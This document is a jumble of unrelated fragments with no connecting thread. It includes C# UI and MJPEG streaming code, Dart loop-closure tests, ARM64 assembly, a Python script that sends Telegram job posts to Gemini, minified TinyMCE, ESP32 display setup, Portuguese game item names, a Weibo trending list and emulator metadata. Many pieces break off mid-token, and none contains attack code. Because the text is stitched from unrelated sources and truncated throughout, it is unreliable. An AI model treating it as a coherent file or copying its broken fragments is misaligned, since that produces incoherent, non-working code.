        + "\u094e\u0950"
        + "\u0958\u0961"
        + "\u0964\u0977"
        + "\u0979\u097f"
        + "\u0982\u0983"
        + "\u0985\u098c"
        + "\u098f\u0990"
        + "\u0993\u09a8"
        + "\u09aa\u09b0"
        + "\u09b2\u09b2"
        + "\u09b6\u09b9"
        + "\u09bd\u09bd"
        + "\


onvertToType(parentHandler, nameof(parentHandler)), ConvertToType(childHandler, nameof(childHandler)));
        }

        public sealed override bool IsParented(IElementHandler handler)
        {
            return IsParented(ConvertToType(handler, nameof(handler)));
        }

        public sealed override bool IsParentOfChild(IElementHandler parentHandler, IElementHandler childHandler)
        {
            return IsParentOfChild(ConvertToType(parentHandler, nameof(parentHandler)), ConvertToType(childHandler, nameof(childHandler)));
        }

        public sealed override void RemoveChildElement(IElementHandler parentHandler, IElementHandler childHandler)
        {
            RemoveChildElement(ConvertToType(parentHandler, nameof(parentHandler)), ConvertToType(childHandler, nameof(childHandler)));
        }

        protected abstract void AddChildElement(TElementType parentHandler, TElementType childHandler, int physicalSiblingIndex);
        protected abstract int GetChildElementIndex(TElementType parentHandler, TElementType childHandler);
        protected abstract bool IsParented(TElementType handler);
        protected abstract bool IsParentOfChild(TElementType parentHandler, TElementType childHandler);
        protected abstract void RemoveChildElement(TElementType parentHandler, TElementType childHandler);
    }
}


 Copyright (c) 2014, the Dart project authors.  Please see the AUTHORS file
// for details. All rights reserved. Use of this source code is governed by a
// BSD-style license that can be found in the LICENSE file.

import "package:expect/expect.dart";

run(callback) => callback();

initializer() {
	var closure;
	for (var i=0, fn = () => i; i < 3; i++) {
		i += 1;
		closure = fn;
	}
	Expect.equals(1, closure());
}

condition() {
	var closures = [];
	check(callback) {
		closures.add(callback);
		return callback();
	}
	var values = [];
	for (var i=0; check(() => ++i) < 8; ++i) {
		values.add(i);
	}
	Expect.listEquals([1, 3, 5, 7], values);
	Expect.listEquals([2, 4, 6, 8, 10], closures.map(run).toList());
}

body() {
	var closures = [];
	for (var i=0, j=0; i<3; i++) {
		j++;
		closures.add(() => i);
		closures.add(() => j);
	}
	Expect.listEquals([0, 1, 1, 2, 2, 3], closures.map(run).toList());
}

update() {
	var closures = [];
	check(callback) {
		closures.add(callback);
		return callback();
	}
	var values = [];
	for (var i=0; i < 4; check(() => ++i)) {
		values.add(i);
	}
	Expect.listEquals([0, 1, 2, 3], values);
	Expect.listEquals([2, 3, 4, 5], closures.map(run).toList());
}

initializer_condition() {
	var values = [];
	for (var i=0, fn = () => i; run(() => ++i) < 3; ) {
		values.add(i);
		values.add(fn());
	}
	Expect.listEquals([1, 1, 2, 1], values);
}

initializer_update() {
	var update_closures = [];
	update(callback) {
		update_closures.add(callback);
		return callback();
	}
	var init_closure;
	for (var i=0, fn = () => i; i < 4; update(() => ++i)) {
		init_closure = fn;
		if (i == 0) {
			++i; // Mutate copy of 'i' from first iteration.
		}
	}
	Expect.equals(1, init_closure());
	Expect.listEquals([3, 4, 5], update_closures.map(run).toList());
	Expect.equals(1, init_closure());
}

initializer_body() {
	var closures = [];
	for (var i=0, fn = () => i; i < 3; i++) {
		closures.add(() => i);
		closures.add(fn);
		fn = () => i;
	}
	Expect.listEquals([0, 0, 1, 0, 2, 1], closures.map(run).toList());
}

condition_update() {
	var cond_closures = [];
	check(callback) {
		cond_closures.add(callback);
		return callback();
	}
	var update_closures = [];
	update(callback) {
		update_closures.add(callback);
		return callback();
	}
	var values = [];
	for (var i=0; check(() => i) < 4; update(() => ++i)) {
		values.add(i);
	}
	Expect.listEquals([0, 1, 2, 3], values);

	Expect.listEquals([0, 1, 2, 3, 4], cond_closures.map(run).toList());
	Expect.listEquals(   [2, 3, 4, 5], update_closures.map(run).toList());
	Expect.listEquals([0, 2, 3, 4, 5], cond_closures.map(run).toList());
}

condition_body() {
	var cond_closures = [];
	check(callback) {


]
	cmp	w0, 512
	ccmn	w0, #1, 4, ne
	beq	.L3387
	ldr	x0, [x23, 24]
	ldr	w26, [x0, 4]
	mov	w0, w26
	bl	lpa_hash_get_ppa
	str	w0, [x29, 92]
	cmn	w0, #1
	bne	.L3388
	ldr	w0, [x20, 3364]
	cmp	w26, w0
	bcs	.L3388
	mov	w2, 0
	add	x1, x29, 92
	mov	w0, w26
	bl	pm_log2phys
.L3388:
	ldr	w0, [x23, 40]
	ldr	w1, [x29, 92]
	cmp	w0, w1
	bne	.L3387
	ldrh	w2, [x19, 24]
	ldr	x1, [x25, 1312]
	str	w0, [x1, x2, lsl 2]
	ldrh	w0, [x19, 24]
	add	w0, w0, 1
	strh	w0, [x19, 24]
.L3387:
	ldrh	w0, [x19, 26]
	add	w24, w24, 1
	add	w0, w0, 1
	strh	w0, [x19, 26]
	b	.L3380
.L3381:
	cmp	w1, 3
	bne	.L3383
	ldrb	w1, [x20, 1212]
	cbnz	w1, .L3384
	ldrb	w1, [x20, 1213]
	cbz	w1, .L3385
.L3384:
	ldrh	w1, [x19, 2]
	add	w1, w1, w1, lsl 1
	b	.L3400
.L3385:
	ldrh	w1, [x19, 2]
	add	w0, w1, w0
	orr	w0, w0, w24, lsl 24
	b	.L3399
.L3383:
	ldrh	w1, [x19, 2]
	add	w0, w1, w0
	b	.L3399
	.size	gc_scan_src_blk_one_page, .-gc_scan_src_blk_one_page
	.align	2
	.global	gc_scan_src_blk
	.type	gc_scan_src_blk, %function
gc_scan_src_blk:
	stp	x29, x30, [sp, -112]!
	add	x29, sp, 0
	stp	x19, x20, [sp, 16]
	adrp	x20, .LANCHOR0
	add	x0, x20, :lo12:.LANCHOR0
	stp	x21, x22, [sp, 32]
	stp	x23, x24, [sp, 48]
	stp	x25, x26, [sp, 64]
	str	x27, [sp, 80]
	ldrh	w1, [x0, 3416]
	mov	w0, 65535
	cmp	w1, w0
	bne	.L3402
	adrp	x1, .LANCHOR4
	add	x1, x1, :lo12:.LANCHOR4
	add	x1, x1, 880
	mov	w2, 1505
	adrp	x0, .LC0
	add	x0, x0, :lo12:.LC0
	bl	printk
	bl	dump_stack
.L3402:
	add	x0, x20, :lo12:.LANCHOR0
	mov	w2, 65535
	ldrh	w1,


from google import genai
from pydantic import BaseModel
from pprint import pformat
from dotenv import load_dotenv
import os

load_dotenv()

class Vacancy(BaseModel):
    position: str
    salary: str
    short_description: str
    sender: str
    message_link: str
    requirements: str
    conditions: str

client = genai.Client(api_key=os.environ.get("GENAI_API_KEY"))

prompt = """Ты — помощник по поиску и структурированию вакансий из сообщений Telegram.
На вход получаешь объект такой структуры:
```

{
"keywords": "<строка с ключевыми словами или требованию к вакансии>",
"messages": [
{
"date": "YYYY-MM-DD HH:MM:SS",
"sender": "<Telegram‑username канала или чата‑отправителя (без @)>",
"link": "<ссылка на конкретное сообщение в формате [https://t.me/…/ID](https://t.me/…/ID)>",
"text": "<текст сообщения>"
},
…
]
}

```
Твоя задача:
1. Отбирать только те сообщения из массива `messages`, в поле `text` которых встречаются ключевые слова или тробавния из `keywords` (регистронезависимо) и очищая текст от всяких лишних знаков.
2. Для каждого найденного сообщения извлечь и вернуть в JSON следующие поля:
   - `position` — должность (название вакансии).
   - `salary` — указанный в тексте диапазон или конкретная сумма.
   - `short_description` — первые 1–2 предложения текста, отражающие суть вакансии.
   - `sender` — значение поля `sender` из входного сообщения.
   - `message_link` — значение поля `link` из входного сообщения.
   - `requirements` — раздел «Требования» из текста.
   - `conditions` — раздел «Условия» из текста.
3. Если какого‑то раздела нет — указывать `"не обнаружено"`.
4. Выдать **только** JSON‑массив объектов, без лишнего текста.

**Важно:**
- Ключевые слова искать только в поле `text`.
- Не добавлять дополнительных полей.
- Выдавать только валидный JSON.
- Не использовать markdown или другие форматы.
- Очищать ответ от лишних символов
-

входные данные:
"""

def start_sort_vacancies(data_to_sort, sort_filter):
    content_to_send = {"keywords": sort_filter, "messages": data_to_sort}
    print(pformat(content_to_send))
    response = client.models.generate_content(
        model="gemini-2.0-flash",
        contents=prompt + pformat(content_to_send),
        config={
            "response_mime_type": "application/json",
            "response_schema": list[Vacancy],
        },
    )
    return response.parsed


);
			}

		}
		catch
		{
			// Ignore client errors
		}
		finally
		{
			client.Close();
		}
	}

	private async Task SendMjpegStreamAsync(NetworkStream stream, CancellationToken token)
	{
		var boundary = $"mjpeg-{Guid.NewGuid():N}";
		var header = $"HTTP/1.1 200 OK\r\n" +
					 $"Content-Type: multipart/x-mixed-replace; boundary={boundary}\r\n" +
					 "Connection: keep-alive\r\n" +
					 "Cache-Control: no-cache\r\n" +
					 "Pragma: no-cache\r\n\r\n";

		await stream.WriteAsync(Encoding.UTF8.GetBytes(header), token);

		var lastTimestamp = 0L;

		while (!token.IsCancellationRequested)
		{
			var frame = currentMjpegFrame;
			var timestamp = mjpegFrameTimestamp;

			if (frame == null || timestamp <= lastTimestamp)
			{
				await Task.Delay(frequency, token);
				continue;
			}

			var partHeader = $"--{boundary}\r\n" +
							 $"Content-Type: image/jpeg\r\n" +
							 $"Content-Length: {frame.Length}\r\n\r\n";

			await stream.WriteAsync(Encoding.UTF8.GetBytes(partHeader), token);
			await stream.WriteAsync(frame, token);
			await stream.FlushAsync(token);

			lastTimestamp = timestamp;
		}
	}

	private async Task SendVideoStreamAsync(NetworkStream stream, CancellationToken token)
	{
		if (videoStreamBytes == null)
		{
			const string errorResponse = "HTTP/1.1 404 Not Found\r\n\r\nVideo stream not available";
			await stream.WriteAsync(Encoding.UTF8.GetBytes(errorResponse), token);
			return;
		}

		var header = $"HTTP/1.1 200 OK\r\n" +
					 $"Content-Type: video/mp4\r\n" +
					 $"Content-Length: {videoStreamBytes.Length}\r\n" +
					 "Connection: close\r\n" +
					 "Cache-Control: no-cache\r\n" +
					 "Pragma: no-cache\r\n\r\n";

		await stream.WriteAsync(Encoding.UTF8.GetBytes(header), token);
		await stream.WriteAsync(videoStreamBytes, token);
		await stream.FlushAsync(token);

		stream.Close();
	}

	private async Task SendPlayerAsync(NetworkStream stream, CancellationToken token)
	{
		if (videoStreamBytes == null)
		{
			const string errorResponse = "HTTP/1.1 404 Not Found\r\n\r\nVideo stream not available";
			await stream.WriteAsync(Encoding.UTF8.GetBytes(errorResponse), token);
			return;
		}

		var header = $"HTTP/1.1 200 OK\r\n" +
					 $"Content-Type: text/html\r\n" +
					 "Connection: close\r\n" +
					 "Cache-Control: no-cache\r\n" +
					 "Pragma: no-cache\r\n\r\n";

		await stream.WriteAsync(Encoding.UTF8.GetBytes(header), token);

		Guid viewerId = Guid.NewGuid();
		await stream.WriteAsync(Encoding.UTF8.GetBytes(
									$$"""
			                          		<!DOCTYPE html>
			                          		<html lang="en">
			                          		<head>
			                          		    <meta charset="UTF-8">
			                          		    <meta name="viewport" content="width=device-width, initial-scale=1.0">
			                          		    <title>MAUI IP Camera Video player</title>
			                          		    <style>
			                          		        body { margin: 0; padding: 0; display: flex; justify-content: center; align-items: center; height: 100vh; background-color: #000; color: #fff }
			                          		        video {


it' : 'loss'}">${c.margin_pct.toFixed(1)}%
                            <span class="status-badge ${c.margin < 0 ? 'status-overdue' : c.margin_pct < 20 ? 'status-due-soon' : 'status-paid'}">${c.margin < 0 ? 'Loss' : c.margin_pct < 20 ? 'Low Margin' : 'Profitable'}

                    `).join('');

                    // Populate packages table
                    const packagesTbody = document.getElementById('packages-tbody');
                    packagesTbody.innerHTML = data.packages.map(p => `

                            ${p.name}
                            ${p.customer_count}
                            €${p.avg_fee.toFixed(2)}
                            €${p.avg_cost.toFixed(2)}
                            = 0 ? 'profit' : 'loss'}">€${p.avg_margin.toFixed(2)}
                            = 0 ? 'profit' : 'loss'}">${p.avg_margin_pct.toFixed(1)}%
                            €${p.total_revenue.toFixed(2)}

                    `).join('');
                }
            } catch (error) {
                console.error('Error loading customer data:', error);
            }
        }

        // Initial load
        document.addEventListener('DOMContentLoaded', () => {
            loadActualData();
        });
    </script>

<!DOCTYPE html>

    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Link shortener</title>

Make your url shorter

<form id="urlParamForm">
    Original url:
    <input type="text" id="url" name="url" required>

    <button type="button" onclick="sendParameters()">Generate short link</button>
</form>

<!DOCTYPE html>

  <meta charset="UTF-8">
  <meta name="viewport" content="width=device-width, initial-scale=1">
  <title>Commitfest Patch Ranker (Experimental) – 03/2025</title>

  <link href="https://fonts.googleapis.com/css2?family=Inter:wght@400;600&display=swap" rel="stylesheet">

  <link href="https://cdn.jsdelivr.net/


318;",access:"⌃⌥"}:{meta:"Ctrl ",access:"Shift + Alt "},t=e.split("+"),o=y(t,function(e){var t=e.toLowerCase().trim();return _(n,t)?n[t]:e});return I.mac?o.join("").replace(/\s/,""):o.join("+")},H=function(){return{name:"shortcuts",title:"Handy Shortcuts",items:[{type:"table",header:["Action","Shortcut"],cells:y(E,function(e){var t=y(e.shortcuts,j).join(" or ");return[e.action,t]})}]}},U=tinymce.util.Tools.resolve("tinymce.util.I18n"),W=[{key:"advlist",name:"Advanced List"},{key:"anchor",name:"Anchor"},{key:"autolink",name:"Autolink"},{key:"autoresize",name:"Autoresize"},{key:"autosave",name:"Autosave"},{key:"bbcode",name:"BBCode"},{key:"charmap",name:"Character Map"},{key:"code",name:"Code"},{key:"codesample",name:"Code Sample"},{key:"colorpicker",name:"Color Picker"},{key:"directionality",name:"Directionality"},{key:"emoticons",name:"Emoticons"},{key:"fullpage",name:"Full Page"},{key:"fullscreen",name:"Full Screen"},{key:"help",name:"Help"},{key:"hr",name:"Horizontal Rule"},{key:"image",name:"Image"},{key:"imagetools",name:"Image Tools"},{key:"importcss",name:"Import CSS"},{key:"insertdatetime",name:"Insert Date/Time"},{key:"legacyoutput",name:"Legacy Output"},{key:"link",name:"Link"},{key:"lists",name:"Lists"},{key:"media",name:"Media"},{key:"nonbreaking",name:"Nonbreaking"},{key:"noneditable",name:"Noneditable"},{key:"pagebreak",name:"Page Break"},{key:"paste",name:"Paste"},{key:"preview",name:"Preview"},{key:"print",name:"Print"},{key:"save",name:"Save"},{key:"searchreplace",name:"Search and Replace"},{key:"spellchecker",name:"Spell Checker"},{key:"tabfocus",name:"Tab Focus"},{key:"table",name:"Table"},{key:"template",name:"Template"},{key:"textcolor",name:"Text Color"},{key:"textpattern",name:"Text Pattern"},{key:"toc",name:"Table of Contents"},{key:"visualblocks",name:"Visual Blocks"},{key:"visualchars",name:"Visual Characters"},{key:"wordcount",name:"Word Count"},{key:"advcode",name:"Advanced Code Editor*"},{key:"formatpainter",name:"Format Painter*"},{key:"powerpaste",name:"PowerPaste*"},{key:"tinydrive",name:"Tiny Drive*"},{key:"tinymcespellchecker",name:"Spell Checker Pro*"},{key:"a11ychecker",name:"Accessibility Checker*"},{key:"linkchecker",name:"Link Checker*"},{key:"mentions",name:"Mentions*"},{key:"mediaembed",name:"Enhanced Media Embed*"},{key:"checklist",name:"Checklist*"},{key:"casechange",name:"Case Change*"},{key:"permanentpen",name:"Permanent Pen*"},{key:"pageembed",name:"Page Embed*"},{key:"tinycomments",name:"Tiny Comments*"},{key:"advtable",name:"Advanced Tables*"},{key:"autocorrect",name:"Autocorrect*"}],D=function(e){function r(t,n){return function(e,t){for(var n=0,o=e.length;n<o;n++){var a=e[n];if(t(a,n))return x.some(a)}return x.none()}(W,function(e){return e.key===n}).fold(function(){var e=t.plugins[n].getMetadata;return"function"==typeof e?


e with 💖 by
[Rahul Yadav](https://www.linkedin.com/in/rahul-yadav-50276723b/) ,
[Sahil Pradhan](https://www.linkedin.com/in/sahil-pradhan-46a0a31b7/)

|>

"""

if __name__ =="__main__":
# Create a Gui object with our page content
 app=Gui(page=page)
 app.run(host="0.0.0.0", port=int(os.environ.get("PORT", 5000)), debug=True,use_reloader=True)

if __name__ =="__main__":
# Create a Gui object with our page content
 app=Gui(page=page)
 app.run(host="0.0.0.0", port=int(os.environ.get("PORT", 5000)), debug=True)


        InitializeSpi();
        InitializeGc9a01Display();
        InitializeButtons();
        InitializeIot();
        GetBacklight()->RestoreBrightness();
    }

    virtual Led* GetLed() override {
        static SingleLed led_strip(BUILTIN_LED_GPIO);
        return &led_strip;
    }

    virtual Display* GetDisplay() override {
        return display_;
    }

    virtual Backlight* GetBacklight() override {
        static PwmBacklight backlight(DISPLAY_BACKLIGHT_PIN, DISPLAY_BACKLIGHT_OUTPUT_INVERT);
        return &backlight;
    }

    virtual AudioCodec* GetAudioCodec() override {
        static Es8311AudioCodec audio_codec(codec_i2c_bus_, I2C_NUM_0, AUDIO_INPUT_SAMPLE_RATE, AUDIO_OUTPUT_SAMPLE_RATE,
            AUDIO_I2S_GPIO_MCLK, AUDIO_I2S_GPIO_BCLK, AUDIO_I2S_GPIO_WS, AUDIO_I2S_GPIO_DOUT, AUDIO_I2S_GPIO_DIN,
            AUDIO_CODEC_PA_PIN, AUDIO_CODEC_ES8311_ADDR);
        return &audio_codec;
    }
};

DECLARE_BOARD(MovecallMojiESP32S3);
#include "wifi_board.h"
#include "audio_codecs/es8311_audio_codec.h"
#include "display/lcd_display.h"
#include "application.h"
#include "button.h"
#include "config.h"
#include "i2c_device.h"
#include "iot/thing_manager.h"
#include "assets/lang_config.h"

#include <esp_log.h>
#include <driver/i2c_master.h>
#include <wifi_station.h>
#include <esp_lcd_panel_io.h>
#include <esp_lcd_panel_ops.h>
#include <esp_lcd_gc9a01.h>

#define TAG "AtomS3+EchoBase"

LV_FONT_DECLARE(font_puhui_16_4);
LV_FONT_DECLARE(font_awesome_16_4);

static const gc9a01_lcd_init_cmd_t gc9107_lcd_init_cmds[] = {
    //  {cmd, { data }, data_size, delay_ms}
    {0xfe, (uint8_t[]){0x00}, 0, 0},
    {0xef, (uint8_t[]){0x00}, 0, 0},
    {0xb0, (uint8_t[]){0xc0}, 1, 0},
    {0xb2, (uint8_t[]){0x2f}, 1, 0},
    {0xb3, (uint8_t[]){0x03}, 1, 0},
    {0xb6, (uint8_t[]){0x19}, 1, 0},
    {0xb7, (uint8_t[]){0x01}, 1, 0},
    {0xac, (uint8_t[]){0xcb}, 1, 0},
    {0xab, (uint8_t[]){0x0e}, 1, 0},
    {0xb4, (uint8_t[]){0x04}, 1, 0},
    {0xa8, (uint8_t[]){0x19}, 1, 0},
    {0xb8, (uint8_t[]){0x08}, 1, 0},
    {0xe8, (uint8_t[]){0x24}, 1, 0},
    {0xe9, (uint8_t[]){0x48}, 1, 0},
    {0xea, (uint8_t[]){0x22}, 1, 0},
    {0xc6, (uint8_t[]){0x30}, 1, 0},
    {0xc7, (uint8_t[]){0x18}, 1, 0},
    {0xf0,
    (uint8_t[]){0x1f, 0x28, 0x04, 0x3e, 0x2a, 0x2e, 0x20, 0x00, 0x0c, 0x06,
                0x00, 0x1c, 0x1f, 0x0f},
    14, 0},
    {0xf1,
    (uint8_t[]){0x00, 0x2d, 0x2f, 0x3c, 0x6f, 0x1c, 0x0b, 0x00, 0x00, 0x00,
                0x07, 0x0d, 0x11,


Combate de Gladiadores",
[64532] = "Anel do Thorg'izog",
[64533] = "Anel do Estratagema",
[64534] = "Adaga do Kubit",
[64535] = "Cinto de Preparação",
[64536] = "Manoplas da Conclusão",
[64537] = "Peitoral do Batalhão Móvel",
[64538] = "Anel do Estratagema",
[64539] = "Adaga do Kubit",
[64540] = "Cinto de Preparação",
[64541] = "Luvas do Xamã Rocha Negra",
[64542] = "Peitoral da Cruzada Argêntea Fatigada",
[64543] = "Braçadeiras do Peão",
[64544] = "Braçadeiras de Vigília",
[64545] = "Passos Subversivos",
[64546] = "Peitoral do Irmão Tório Furtivo",
[64547] = "Braçadeiras do Peão",
[64548] = "Braçadeiras Monte Candente",
[64549] = "Passos Subversivos",
[64550] = "Peitoral do Irmão Tório Furtivo",
[64551] = "Estrela do Piscadela",
[64552] = "Esfrega-pança",
[64553] = "Espaldares Mosca-lume",
[64554] = "Botas do Gor'Tesh",
[64555] = "Bumerangue do Kibler",
[64556] = "Luvas de Domesticação",
[64557] = "Espaldares Mosca-lume",
[64558] = "Botas de Lava",
[64559] = "Anel Envidraçado",
[64560] = "Sapatilhas de Bruxo Falsificadas",
[64561] = "Luvas Escorregadiças Astutas",
[64562] = "Ombreiras Traquinas",
[64563] = "Braçadeiras da Desobediência",
[64564] = "Anel Envidraçado",
[64565] = "Sapatilhas de Bruxo Falsificadas",
[64566] = "Luvas Escorregadiças Astutas",
[64567] = "Ombreiras Traquinas",
[64568] = "Braçadeiras da Desobediência",
[64569] = "Capa Sarapintada Obsidiana",
[64570] = "Orbe do Domínio Quebrado",
[64571] = "Sinete do Xi'lun",
[64572] = "Botas de Worg Incandescente",
[64573] = "Cinto de Escorpídeo Afiadíssimo",
[64574] = "Guantes de Esmaga-golem",
[64575] = "Capa Sarapintada Obsidiana",
[64576] = "Orbe do Domínio Quebrado",
[64577] = "Sinete do Xi'lun",
[64578] = "Botas de Worg Incandescente",
[64579] = "Cinto de Escorpídeo Afiadíssimo",
[64580] = "Guantes de Esmaga-golem",
[64581] = "Gavinha de Costurar Cadáver",
[64582] = "Fluido Embalsamador Denso",
[64583] = "Barril de Água",
[64584] = "Rebimboca de Indução",
[64585] = "Pólvora de Canhão",
[64586] = "Pedaço de Cascalho Excelente",
[64587] = "Lenha Gélida Recém-cortada",
[64588] = "Fio-dental de Luau",
[64589] = "Perneiras do Brejo do Goblin",
[64590] = "Casquete Louco",
[64591] = "Ombreiras


activated();
        }
        else
        {
            takeAllButton.gameObject.SetActive(true);
            passButton.gameObject.SetActive(true);
            partyInventory.SetActivated();
        }

        ActionType = LootResultType.Waiting;

        gameObject.SetActive(true);
        partyInventory.DiscardAll();

        if(curio.IsQuestCurio)
        {
            if(curioResult != null)
                partyInventory.DistributeItem(new ItemDefinition("quest_item", curioResult.Item, 1));
        }
        else
        {
            if(curioResult.IsCombined)
            {
                foreach (var result in interaction.Results)
                    if (result.IsCombined && result.Item != "Nothing")
                        foreach (var item in RaidSolver.GenerateLoot(result, raid))
                            partyInventory.DistributeItem(item);
            }
            else if(curioResult.Item != "Nothing")
                foreach (var item in RaidSolver.GenerateLoot(curioResult, raid))
                    partyInventory.DistributeItem(item);

            if(RaidSceneManager.RaidPanel.SelectedHero != null)
            {
                var extraLoot = RaidSceneManager.RaidPanel.SelectedHero.HeroClass.ExtraCurioLoot;
                if (extraLoot != null)
                    foreach (var item in RaidSolver.GenerateLoot(extraLoot.Code, extraLoot.Count, raid))
                        partyInventory.DistributeItem(item);
            }
        }

        partyInventory.DeactivateEmptySlots();

        title.text = LocalizationManager.GetString("str_overlay_loot_chest_title");
        description.text = LocalizationManager.GetString("str_overlay_loot_chest_description");

        if (!partyInventory.HasSomething())
            Close();
    }

    public void ResetWaiting()
    {
        ActionType = LootResultType.Waiting;
    }

    public void TakeAll()
    {
        foreach(var slot in partyInventory.InventorySlots)
        {
            if(slot.HasItem)
            {
                if(RaidSceneManager.Inventory.CheckInventorySpace(slot.SlotItem.Item))
                {
                    RaidSceneManager.Inventory.DistributeItem(slot.SlotItem.Item);
                    slot.DeleteItem();
                }
            }
        }
        partyInventory.DeactivateEmptySlots();

        if (!partyInventory.InventorySlots.Any(item => item.HasItem))
            Close();
        else
            ActionType = LootResultType.NotEnoughSpace;
    }

    public void Close()
    {
        if (partyInventory.ContaintItemType("quest_item"))
            return;

        ActionType = LootResultType.Discard;

        gameObject.SetActive(false);
        partyInventory.DiscardAll();
    }
}


console.log(this.getDetails());
  }
}

class NewEmployee extends AbstractEmployee{
  getDetails(): string {
    return `id: ${this.id}` + `, name ${name}`;
  }
}

class NewManager extends NewEmployee {
  public Employees: NewEmployee[] | undefined;
  getDetails(): string {
    return super.getDetails() + `, employeeCount`
  }
}

const employee = new NewEmployee;
employee.id = 1;
employee.name = "Employee Name";
employee.printDetails();

const manager = new NewManager();
manager.id = 2;
manager.name = "Manager Name"
manager.Employees = [];
manager.printDetails();import { expect } from 'chai';
import mockdate from 'mockdate';

import { createDate, findTime, findTimeRange, getTimestamp, parseTime, resolveDate } from '../src/time';

const CANDIDATES = [
  '2000-01-02',
  '2000-01-03',
  '2000-01-04',
  '2000-01-05',
].map((x) => ({ time: getTimestamp(new Date(x)) }));

describe('Time', () => {

  beforeEach(() => {
    mockdate.set('2000-01-01T12:01:02Z');
  });

  it('converts to UNIX timestamp', () => {
    const d = new Date('2000-01-01');
    expect(getTimestamp(d)).to.equal(946684800);
  });

  it('converts from UNIX timestamp', () => {
    const d = createDate(946684800);
    expect(d.toISOString()).to.equal('2000-01-01T00:00:00.000Z');
  });

  it('parses timezone', () => {
    const time = '10:00:00';
    const tz = 'America/New_York';
    const res = parseTime(time, tz);
    expect(res.toISOString()).to.equal('2000-01-01T15:00:00.000Z');
  });

  it('finds time range', () => {
    const start = new Date('2000-01-03');
    const end = new Date('2000-01-04');
    const res = findTimeRange(start, end, CANDIDATES);
    expect(res.length).to.equal(1);
    expect(res[0].time).to.equal(getTimestamp(new Date('2000-01-03')));
  });

  describe('Find Time', () => {
    it('finds nearest day', () => {
      const d = new Date('2000-01-03');
      const res = findTime(d, 'day', CANDIDATES);
      expect(res.time).to.equal(getTimestamp(new Date('2000-01-03')));
    });

    it('finds nearest day edge low', () => {
      const d = new Date('2000-01-02');
      const res = findTime(d, 'day', CANDIDATES);
      expect(res.time).to.equal(getTimestamp(new Date('2000-01-02')));
    });

    it('finds nearest day edge high', () => {
      const d = new Date('2000-01-05');
      const res = findTime(d, 'day', CANDIDATES);
      expect(res.time).to.equal(getTimestamp(new Date('2000-01-05')));
    });

    it('ignores out of bounds high', () => {
      const d = new Date('2000-01-06');
      const res = findTime(d, 'day', CANDIDATES);
      expect(res).to.be.undefined;
    });

    it('ignores out of bounds low', () => {
      const d = new Date('2000-01-01');
      const res = findTime(d, 'day', CANDIDATES);
      expect(res).to.be.undefined;
    });
  });

  describe('Resolve Date', () => {

    it('resolves date', () => {
      const tz = 'America/New_York';
      const


weibo?q=%23%E4%B8%89%E6%98%9F%E5%A0%86%E5%86%8D%E6%9B%9D%E5%93%AA%E4%BA%9B%E6%96%B0%E5%8F%91%E7%8E%B0%23)
    - 扭头跪坐人像、黄金面罩、玉琮……十件国宝360度呈现，更有12K微距加持！怎么样？是不是很心动？来#亮相吧 三星堆新国宝#直播，解锁更多三星堆大发掘最新内容！
    - 2964讨论 1450.3万阅读
1. [#爱抖腿是个坏习惯吗#](https://s.weibo.com/weibo?q=%23%E7%88%B1%E6%8A%96%E8%85%BF%E6%98%AF%E4%B8%AA%E5%9D%8F%E4%B9%A0%E6%83%AF%E5%90%97%23)
    - 《嗨放派》节目中通过实验发现抖腿可以促进血液循环，缓解久坐的不是，但是平时生活中抖腿行为也会影响到他人，那么大家觉得爱抖腿是个坏习惯吗？
    - 4839讨论 1.5亿阅读
1. [#911后的20年美国怎么了#](https://s.weibo.com/weibo?q=%23911%E5%90%8E%E7%9A%8420%E5%B9%B4%E7%BE%8E%E5%9B%BD%E6%80%8E%E4%B9%88%E4%BA%86%23)
    - 暂无数据
    - 8881讨论 1.9亿阅读
1. [#街舞4中外舞者融合战观后感#](https://s.weibo.com/weibo?q=%23%E8%A1%97%E8%88%9E4%E4%B8%AD%E5%A4%96%E8%88%9E%E8%80%85%E8%9E%8D%E5%90%88%E6%88%98%E8%A7%82%E5%90%8E%E6%84%9F%23)
    - 看完这就是街舞4中外舞者融合战，你们有什么想说的话吗
    - 2.1万讨论 2308.7万阅读
1. [#美国真的学会应对恐怖主义了吗#](https://s.weibo.com/weibo?q=%23%E7%BE%8E%E5%9B%BD%E7%9C%9F%E7%9A%84%E5%AD%A6%E4%BC%9A%E5%BA%94%E5%AF%B9%E6%81%90%E6%80%96%E4%B8%BB%E4%B9%89%E4%BA%86%E5%90%97%23)
    - 该降落的飞机撞了楼，该退膛的子弹伤了人，20年往复，伤痕远未能愈合，分歧远未能消弭。
    - 8094讨论 1.5亿阅�


7ZFlo3jsYAlrhwSdARwHGRPXylpXKGSIpDMqqg6uRwdFV+0hahZvijuKl/5+ztfgCLgiyQiT4/3RJ0ePKmk2GB8fVY6fkGXJ1ArWI3T9gC69P1r1yVHbI8qjRxU91Bs6GA1Z0fEGeTp4ZQy+u1P/Hw2aivjf4+iWAAAAAElFTkSuQmCC" alt="" />
-----------------------
Name: VirtualJaguar
Creator: David Raingeard|Shamus|Libretro
HMOD By: KMFDManic
Category: KMFD Cores
Emulated System: Atari: Jaguar
Command Line: /bin/virtualjaguar, /bin/j64
-----------------------
